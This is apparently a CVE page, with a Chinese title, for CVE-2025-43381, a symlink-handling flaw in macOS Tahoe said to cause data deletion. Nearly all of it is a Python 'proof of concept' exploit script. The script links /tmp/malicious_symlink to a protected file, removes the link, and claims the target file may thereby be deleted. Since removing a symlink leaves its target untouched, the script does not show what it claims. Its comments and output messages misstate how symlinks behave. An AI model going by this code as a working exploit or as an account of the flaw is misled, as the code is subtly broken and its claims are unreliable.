CVE-2025-43381: macOS Tahoe 符号链接处理漏洞导致数据删除

# CVE-2025-43381 PoC - Symbolic Link Exploitation # This PoC demonstrates the symbolic link handling vulnerability in macOS Tahoe import os import sys import shutil def create_symlink_exploit(): """ Create a symbolic link to a protected file and attempt deletion. This PoC demonstrates the vulnerability where symlinks are not properly validated. """ protected_file = "/Users/Shared/ProtectedUserData.dat" symlink_path = "/tmp/malicious_symlink" # Clean up any existing symlink if os.path.islink(symlink_path): os.unlink(symlink_path) # Create symlink to protected file try: os.symlink(protected_file, symlink_path) print(f"[+] Created symlink: {symlink_path} -> {protected_file}") # Attempt to delete the symlink (which may delete the target file) if os.path.islink(symlink_path): os.unlink(symlink_path) print(f"[!] Symlink deleted - target file may have been compromised") except PermissionError: print(f"[-] Permission denied - system may be patched") except FileNotFoundError: print(f"[-] Target file not found") def check_vulnerability(): """ Check if the system is vulnerable to CVE-2025-43381 """ print("CVE-2025-43381 Vulnerability Check") print("=" * 50) print("Vulnerability: Improper symlink handling in macOS Tahoe") print("Severity: Medium (CVSS 5.5)") print("Attack Vector: Local") print("Required Privileges: Low") print("=" * 50) if __name__ == "__main__": check_vulnerability() create_symlink_exploit()